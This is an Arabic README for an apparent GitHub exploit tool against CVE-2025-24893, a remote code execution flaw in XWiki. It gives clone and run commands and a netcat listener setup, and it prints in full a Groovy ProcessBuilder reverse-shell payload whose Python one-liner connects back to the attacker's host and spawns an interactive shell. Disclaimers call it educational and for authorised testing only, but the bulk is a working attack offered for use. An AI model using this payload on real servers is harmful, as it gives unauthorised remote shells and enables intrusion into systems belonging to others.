استغلال ثغرة CVE-2025-24893 لتنفيذ أوامر عن بعد في XWiki

نص بايثون 3 بسيط لاستغلال CVE-2025-24893، وهي ثغرة تنفيذ أوامر عن بعد في منصة XWiki، باستخدام ماكرو غير متزامن قائم على Groovy وحمولة شل عكسية قابلة للتكوين.

⚠️ تحذير: هذه الأداة مقدمة لأغراض تعليمية واختبارية مصرح بها فقط. الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها غير قانوني وغير أخلاقي.

جدول المحتويات

• الميزات
• المتطلبات
• التثبيت
• الاستخدام
• الكشف والتراجع عن البروتوكول
• حمولة الشل العكسية
• الترخيص
• إخلاء المسؤولية

الميزات

• ✅ يكتشف تلقائيًا ما إذا كان الهدف يدعم HTTPS أو HTTP
• ✅ يصنع مقتطف Groovy ProcessBuilder لتجنب مشاكل Runtime.exec
• ✅ يقوم بترميز حمولة ماكرو XWiki غير المتزامن+Groovy بتشفير URL
• ✅ شل عكسية قابلة للتكوين (المضيف + المنفذ)
• ✅ يطبع رمز استجابة HTTP للمساعدة في التحقق من التسليم

المتطلبات

• بايثون 3.6 أو أعلى
• مكتبة requests

pip install requests

التثبيت

استنساخ هذا المستودع:

git clone https://github.com/hackersonsteroids/cve-2025-24893.git
cd cve-2025-24893

الاستخدام

./exploit.py <TARGET_DOMAIN> <LHOST> <LPORT>

• <TARGET_DOMAIN> مضيف XWiki (مثل wiki.example.local).

• <LHOST> عنوان IP لجهاز المهاجم (حيث يعمل المستمع الخاص بك).

• <LPORT> منفذ المستمع (عدد صحيح).

مثال

1. تشغيل مستمع على جهازك:

nc -lvnp 4444

2. تشغيل أداة الاستغلال:

./exploit.py wiki.vulnerable.local 10.0.0.5 4444

3. عند النجاح، تحقق من مستمع netcat الخاص بك للحصول على شل.

الكشف والتراجع عن البروتوكول

قبل إرسال الحمولة، يقوم النص بـ:

1. يحاول https://<TARGET_DOMAIN>
2. يتراجع إلى http://<TARGET_DOMAIN> إذا فشل HTTPS
3. يخرج إذا لم يكن أي منهما متاحًا

يساعد هذا في ضمان التوافق مع النشرات المختلطة البروتوكول.

حمولة الشل العكسية

افتراضيًا، يستخدم النص سطرًا واحدًا من بايثون 3:

new ProcessBuilder(
  ['/bin/bash','-c',
   'python3 -c \'import socket,subprocess,os;'
   's=socket.socket();s.connect(("LHOST",LPORT));'
   'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);'
   'os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])\'']
).redirectErrorStream(true).start()

• يمكنك تعديل دالة build_payload() إذا كنت بحاجة إلى شل مختلفة (مثل Bash، Perl، PHP، إلخ).

الترخيص

هذا المشروع مرخص بموجب رخصة MIT. راجع ملف LICENSE للتفاصيل.

إخلاء المسؤولية

هذه الأداة مصممة لتقييم الأمن المصرح به والأغراض التعليمية فقط. لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام. احصل دائمًا على إذن صريح قبل اختبار أي أنظمة مستهدفة.